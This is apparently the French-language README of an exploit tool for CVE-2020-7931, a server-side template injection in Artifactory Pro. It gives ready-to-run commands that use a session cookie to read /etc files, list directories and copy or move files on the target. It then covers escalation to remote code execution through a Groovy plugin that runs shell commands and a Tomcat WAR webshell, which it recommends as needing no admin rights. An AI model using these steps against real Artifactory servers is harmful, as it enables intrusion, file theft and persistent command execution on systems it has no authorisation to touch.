
Piratage d'Artifactory avec injection de modèles côté serveur
CVE-2020-7931 est en quelque sorte une vulnérabilité de mauvaise configuration volontaire dans Artifactory qui permet aux attaquants d'effectuer des injections de templates côté serveur à partir d'un template FreeMarker.
La vulnérabilité a été découverte par Ryan Hanson d'Atredis et a été corrigée pour toutes les versions concernées fin 2019. Elle ne fonctionne que sur les versions Pro d'Artifactory, car les autres versions ne disposent pas de capacités de templating.
Ce dépôt contient un script et un template.
Le template récupère le premier paramètre GET pour déterminer l'action souhaitée. Les actions valides sont :
info Returns info about the current configuration
read <filepath> Reads a file, as is
read_bytes <filepath> Reads a file binarily as integers
list <dirpath> List a directory contents
create_file <filepath> Create an empty file
mkdir <dirpath> Create a folder
delete <filepath> Delete a file or empty folder
move <src> <dst> Move a file (*)
copy <scr_path> <src_file> <dst> Copy a file to the application's web root. Pay attention to the quirky arguments (**)
(*) : move utilise la méthode renameTo de Java qui ne fonctionne pas entre différents systèmes de fichiers. Pour effectuer un déplacement entre systèmes de fichiers, il faut utiliser copy puis move, plus d'informations ci-dessous.
(**) : la source doit être séparée entre le chemin de base et le nom de fichier ; la destination est relative au chemin racine de l'application web d'Artifactory, par exemple /opt/jfrog/artifactory/tomcat/webapps/artifactory/
usage: artifactory_CVE-2020-7931.py [-h] -H HOST [-u USER] [-p PASSWORD]
[-c COOKIE] [-U UPLOAD] [-g]
[-d DROP_TEMPLATE] [-e EXEC_TEMPLATE] [-r]
[-R REPOSITORY_NAME]
optional arguments:
-h, --help show this help message and exit
-H HOST, --host HOST
-u USER, --user USER
-p PASSWORD, --password PASSWORD
-c COOKIE, --cookie COOKIE
-U UPLOAD, --upload UPLOAD
-g, --get_cookie
-d DROP_TEMPLATE, --drop_template DROP_TEMPLATE
-e EXEC_TEMPLATE, --exec_template EXEC_TEMPLATE
-r, --reload_plugins
-R REPOSITORY_NAME, --repository_name REPOSITORY_NAME
Default: example-repo-local
export cookie=$(./artifactory_CVE-2020-7931.py -H http://localhost:8081 -g -u admin -p password | grep '-') && echo $cookie
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -U sample.groovy
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -d sample.xml
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml list /etc/
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml read /etc/password
Comme nous l'avons vu, renameTo() ne fonctionnera pas entre différents systèmes de fichiers. Pour émuler cela, copiez d'abord le fichier puis déplacez-le (faites-le immédiatement, sinon Artifactory pourrait planter !) :
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml copy /var/opt/jfrog/artifactory/data/tmp/artifactory-uploads/ bla /bla (***)
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml move /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla /etc/bla
(***) : comme expliqué précédemment, ici /bla fait en réalité référence à /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla car root.write() écrira nécessairement dans la racine web de l'application courante.
Cela vous permet d'exploiter des configurations qui stockent les artefacts sur un système de fichiers séparé (ce qui est une bonne pratique !).
Par défaut, avec une installation d'Artifactory, il n'est pas possible d'instancier des classes, donc l'astuce habituelle freemarker.template.utility.Execute ne fonctionnera pas.
Il existe plusieurs autres moyens d'obtenir une exécution de code à distance simplement en manipulant le système de fichiers :
Voici un exemple de plugin Groovy qui effectue une exécution shell, des exemples plus élaborés ici :
def proc = "ls -la /etc".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
Les plugins doivent être placés dans le chemin des plugins /var/opt/jfrog/artifactory/etc/plugins/ et doivent être rechargés à l'aide d'un appel API qui nécessite des privilèges d'administrateur Artifactory :
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -r
Voici une servlet Tomcat qui implémente un webshell.
Les fichiers WAR doivent être placés dans le chemin webapps de Tomcat /opt/jfrog/artifactory/tomcat/webapps/. Par défaut, le déploiement des fichiers WAR est automatique et démarrera une autre application web à côté de l'instance Artifactory, par exemple à http://localhost:8081/sample/.
C'est la méthode préférée car elle ne nécessite pas de privilèges d'administrateur Artifactory et il est tout simplement plus simple d'exécuter des commandes à la volée.